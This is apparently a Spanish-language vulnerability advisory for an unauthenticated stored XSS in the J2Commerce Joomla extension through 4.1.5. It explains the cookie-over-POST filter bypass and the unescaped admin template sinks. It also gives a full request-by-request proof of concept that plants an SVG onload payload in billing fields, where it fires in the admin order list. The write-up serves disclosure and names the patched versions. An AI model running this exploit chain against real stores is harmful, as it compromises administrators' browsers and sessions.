
XSS almacenado en el pago como invitado de J2Commerce mediante omisión del filtro de cookies
J2Commerce (com_j2store) ≤ 4.1.5 — Un atacante no autenticado almacena un payload XSS que se ejecuta automáticamente en el navegador del administrador al cargar la página
J2Commerce 4.1.5 es vulnerable a Cross-Site Scripting Almacenado (XSS) a través de los campos de dirección de facturación del checkout de invitados. Un atacante no autenticado explota un bypass de filtro en Input::getArray() de Joomla combinado con variables_order=EGPCS de PHP (la Cookie sobrescribe POST en $_REQUEST) para almacenar HTML sin sanitizar en campos como billing_first_name. Estos campos se imprimen directamente en el panel de administración de pedidos sin , lo que provoca que el payload se ejecute en el navegador del administrador.
htmlspecialchars()El payload XSS se dispara automáticamente al cargar la página cuando el administrador navega al listado de pedidos; no se requiere ningún clic en un pedido individual. Una sola cadena de solicitudes HTTP (añadir al carrito → enviar el checkout con el bypass de cookie → realizar el pedido) almacena el payload de forma permanente, que se ejecutará en el navegador de cada administrador hasta que el pedido se elimine o la vulnerabilidad se parchee.
El ataque no requiere autenticación por parte del atacante. El checkout de invitados es una función estándar y habitualmente habilitada en los sitios de comercio electrónico, lo que proporciona un incentivo económico para que los administradores vean los pedidos nuevos, haciendo que la explotación sea trivial de convertir en arma.
| COMPONENTE | VULNERABLE | PROBADO EN | CORREGIDO |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 en Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Tipo: Cross-Site Scripting — Almacenado (CWE-79)
Autenticación requerida: Ninguna — no autenticado (checkout de invitados)
Sink principal: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Ruta de escritura: components/com_j2store/controllers/checkouts.php:535
La vulnerabilidad se compone de dos debilidades que se combinan: un bypass del filtro de entrada en la ruta de escritura y la falta de codificación de salida en la ruta de lectura.
1. Bypass del filtro de entrada — mal uso de Input::getArray() de Joomla
El controlador de checkout de invitados de J2Commerce lee los campos de dirección utilizando $app->input->getArray($_POST). La implementación de Joomla itera el array $_POST y utiliza cada valor como un tipo de filtro (no como dato), mientras lee el valor real desde $_REQUEST:
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — RUTA DE ESCRITURA
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — MÉTODO GETARRAY() (LÍNEA 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — FUENTE DE DATOS (LÍNEA 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. variables_order de PHP — la Cookie sobrescribe POST en $_REQUEST
$_REQUEST de PHP es una superglobal combinada construida a partir de $_GET, $_POST y $_COOKIE. Cuando variables_order=EGPCS (el valor predeterminado compilado en la mayoría de entornos PHP), Cookie (C) aparece después de POST (P), por lo que la Cookie gana en el caso de claves en conflicto.
Enviar first_name=RAW en el cuerpo de la solicitud POST hace que InputFilter::clean() de Joomla aplique el tipo de filtro 'Raw' (sin operación) al valor de la cookie first_name=<svg...>, que gana en $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — MÉTODO CLEAN() (LÍNEA 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Resultado neto: el cuerpo POST first_name=RAW configura el filtro como una operación nula. La cookie first_name=<svg onload="alert(document.domain)"> gana en $_REQUEST. Joomla devuelve el valor de la cookie sin filtrar. J2Commerce lo almacena sin procesar en j2store_orderinfos.billing_first_name.
3. Codificación de salida ausente — sinks de la plantilla de administración
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — SINK PRINCIPAL (se dispara al cargar la página de listado)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SINK SECUNDARIO
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
Este bypass funciona en todos los entornos PHP excepto Debian/Ubuntu (que establece explícitamente request_order = "GP", excluyendo las cookies de $_REQUEST). Todos los demás entornos de alojamiento importantes — hosting compartido cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — recurren a EGPCS, activando la sobrescritura por Cookie por defecto sin necesidad de cambios de configuración.
Abra el listado de pedidos de administración de J2Commerce como el administrador víctima. Esto confirma que el administrador está usando activamente el panel y encontrará el payload en su próxima visita.

Como atacante no autenticado, envíe una solicitud GET a la página de inicio del frontend de J2Commerce para establecer una sesión y extraer el token CSRF incrustado en las opciones JSON de la página. Este token es necesario para las solicitudes POST posteriores.

Añada un producto al carrito del atacante. El carrito debe estar no vacío para que el endpoint de checkout de invitados acepte el envío de la dirección.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Envíe el formulario de dirección del checkout de invitados con dos valores en conflicto para first_name:
first_name=RAW — Joomla interpreta esto como el tipo de filtro (sin operación)first_name=<svg...> — esta gana en $_REQUEST (PHP EGPCS: Cookie > POST) y se devuelve sin filtrarPOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Envíe el paso de dirección de envío utilizando el mismo bypass de cookie. Este paso establece el país de envío en la sesión; omitirlo provoca un error "SHIPPING_ADDRESS_NOT_FOUND" en los pasos posteriores.

Seleccione el método de pago (contra reembolso). El campo payment_plugin no es una entrada de texto susceptible a XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Envíe el paso de confirmación para recibir la página de resumen del pedido que contiene un campo oculto hash. Este hash es necesario para finalizar el pedido.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Finalice el pedido utilizando el hash del paso anterior. El servidor crea el registro del pedido en joom_j2store_orderinfos con billing_first_name establecido al payload XSS sin procesar.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

Como administrador víctima, navegue al listado de pedidos de J2Commerce. El payload XSS se dispara inmediatamente al cargar la página — sin necesidad de clic. La plantilla default_items.php:73 muestra billing_first_name sin escapar en la columna Cliente.
Cuando el administrador ve el pedido, la respuesta del servidor incluye:
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
